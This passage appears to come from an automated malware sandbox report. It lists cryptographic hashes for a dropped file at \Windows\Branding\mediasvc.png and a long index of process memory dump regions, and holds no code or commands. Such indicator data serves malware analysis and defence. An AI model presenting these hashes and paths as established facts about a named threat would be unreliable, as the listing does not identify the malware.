                                                                        b7df367405df1d63dd0b77952f864d39

                                                                        SHA1

                                                                        0a4ead8259be4064ee7403833749bcb5a7464d72

                                                                        SHA256

                                                                        57214113a306cb06d2f41b4092c0c0ad3945ee7f5a8cc9381cfb4ba9ac2d8fc6

                                                                        SHA512

                                                                        8f2edf67b7d832255c41db8169b0e26b91e0082fbd1be68d3ee090067071bd7003605fb4aed450c9507541f0c39312c5bba6998320a26423354217d90d5408f4

                                                                      • \Windows\Branding\mediasvc.png

                                                                        MD5

                                                                        5cfa3b3e19ba458fc1459abd524532fd

                                                                        SHA1

                                                                        24b8d9f57c1a10b58b6962dcfc21405a6fd0b756

                                                                        SHA256

                                                                        b5e776f84f8f01fcc1fb822ff5612afe62097bf367ced2187fda0b5bf3d652ee

                                                                        SHA512

                                                                        3713961ce9a8edacc91acbf3958e190026bf9a7736fa1ee5b9dbfda9c58a72cfeb04c3699314339ee560bf7f97020abe08f692635b942c2b3ecafb1679c50b4b

                                                                      • memory/280-188-0x0000000000000000-mapping.dmp

                                                                      • memory/292-185-0x0000000000000000-mapping.dmp

                                                                      • memory/320-75-0x000000001B630000-0x000000001B631000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/320-72-0x000000001A774000-0x000000001A776000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/320-69-0x000000001A9B0000-0x000000001A9B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/320-70-0x000000001A7F0000-0x000000001A7F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/320-71-0x000000001A770000-0x000000001A772000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/320-67-0x000007FEFC661000-0x000007FEFC663000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/320-68-0x0000000002360000-0x0000000002361000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/320-73-0x000000001B410000-0x000000001B411000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/320-66-0x0000000000000000-mapping.dmp

                                                                      • memory/320-83-0x0000000002450000-0x0000000002451000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/320-87-0x000000001B550000-0x000000001B551000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/320-99-0x000000001A77A000-0x000000001A799000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/320-159-0x000000001C4F0000-0x000000001C4F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/320-86-0x000000001C400000-0x000000001C401000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/320-85-0x000000001C0C0000-0x000000001C0C1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/396-167-0x0000000000000000-mapping.dmp

                                                                      • memory/536-242-0x0000000000000000-mapping.dmp

                                                                      • memory/536-202-0x0000000000000000-mapping.dmp

                                                                      • memory/632-175-0x0000000000000000-mapping.dmp

                                                                      • memory/632-189-0x0000000000000000-mapping.dmp

                                                                      • memory/640-177-0x0000000000000000-mapping.dmp

                                                                      • memory/692-187-0x0000000000000000-mapping.dmp

                                                                      • memory/752-198-0x0000000000000000-mapping.dmp

                                                                      • memory/756-76-0x0000000000000000-mapping.dmp

                                                                      • memory/756-184-0x0000000000000000-mapping.dmp

                                                                      • memory/792-134-0x00000000026E0000-0x00000000026E1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/792-79-0x0000000000000000-mapping.dmp

                                                                      • memory/792-132-0x000000001B5A0000-0x000000001B5A1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/792-135-0x0000000002310000-0x0000000002311000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/792-130-0x0000000002480000-0x0000000002481000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/792-128-0x000000001AC74000-0x000000001AC76000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/792-127-0x000000001AC70000-0x000000001AC72000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/792-122-0x0000000000000000-mapping.dmp

                                                                      • memory/872-209-0x0000000019554000-0x0000000019556000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/872-240-0x000000001955A000-0x0000000019579000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/872-208-0x0000000019550000-0x0000000019552000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/872-204-0x0000000000000000-mapping.dmp

                                                                      • memory/872-169-0x0000000000000000-mapping.dmp

                                                                      • memory/956-88-0x0000000000000000-mapping.dmp

                                                                      • memory/956-107-0x000000001AC30000-0x000000001AC31000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/956-121-0x000000001AA90000-0x000000001AA91000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/956-95-0x000000001AC80000-0x000000001AC82000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/956-170-0x0000000000000000-mapping.dmp

                                                                      • memory/956-120-0x000000001AA80000-0x000000001AA81000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/956-97-0x000000001AC84000-0x000000001AC86000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/956-101-0x000000001ABE0000-0x000000001ABE1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/956-94-0x00000000022D0000-0x00000000022D1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/956-98-0x000000001A9F0000-0x000000001A9F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/956-102-0x00000000024B0000-0x00000000024B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1060-166-0x0000000000000000-mapping.dmp

                                                                      • memory/1088-64-0x00000000287C6000-0x00000000287C7000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1088-65-0x00000000287C7000-0x00000000287C8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1088-60-0x00000000416E0000-0x0000000041B00000-memory.dmp

                                                                        Filesize

                                                                        4.1MB

                                                                      • memory/1088-62-0x00000000287C2000-0x00000000287C4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1088-63-0x00000000287C4000-0x00000000287C6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1104-192-0x0000000000000000-mapping.dmp

                                                                      • memory/1108-241-0x0000000000000000-mapping.dmp

                                                                      • memory/1140-176-0x0000000000000000-mapping.dmp

                                                                      • memory/1140-197-0x0000000000000000-mapping.dmp

                                                                      • memory/1164-173-0x0000000000000000-mapping.dmp

                                                                      • memory/1284-179-0x0000000000000000-mapping.dmp

                                                                      • memory/1312-201-0x0000000000000000-mapping.dmp

                                                                      • memory/1348-196-0x0000000000000000-mapping.dmp

                                                                      • memory/1468-162-0x0000000000000000-mapping.dmp

                                                                      • memory/1524-172-0x0000000000000000-mapping.dmp

                                                                      • memory/1552-186-0x0000000000000000-mapping.dmp

                                                                      • memory/1588-181-0x0000000000000000-mapping.dmp

                                                                      • memory/1624-164-0x0000000000000000-mapping.dmp

                                                                      • memory/1660-193-0x0000000000000000-mapping.dmp

                                                                      • memory/1716-174-0x0000000000000000-mapping.dmp

                                                                      • memory/1720-143-0x0000000000000000-mapping.dmp

                                                                      • memory/1720-150-0x000000001ACE4000-0x000000001ACE6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1720-149-0x000000001ACE0000-0x000000001ACE2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1720-178-0x0000000000000000-mapping.dmp

                                                                      • memory/1896-168-0x0000000000000000-mapping.dmp

                                                                      • memory/1900-160-0x0000000000000000-mapping.dmp

                                                                      • memory/1932-165-0x0000000000000000-mapping.dmp

                                                                      • memory/1980-203-0x0000000000000000-mapping.dmp

                                                                      • memory/2016-163-0x0000000000000000-mapping.dmp

                                                                      • memory/2036-195-0x0000000000000000-mapping.dmp

                                                                      • memory/2036-171-0x0000000000000000-mapping.dmp

                                                                      • memory/2044-180-0x0000000000000000-mapping.dmp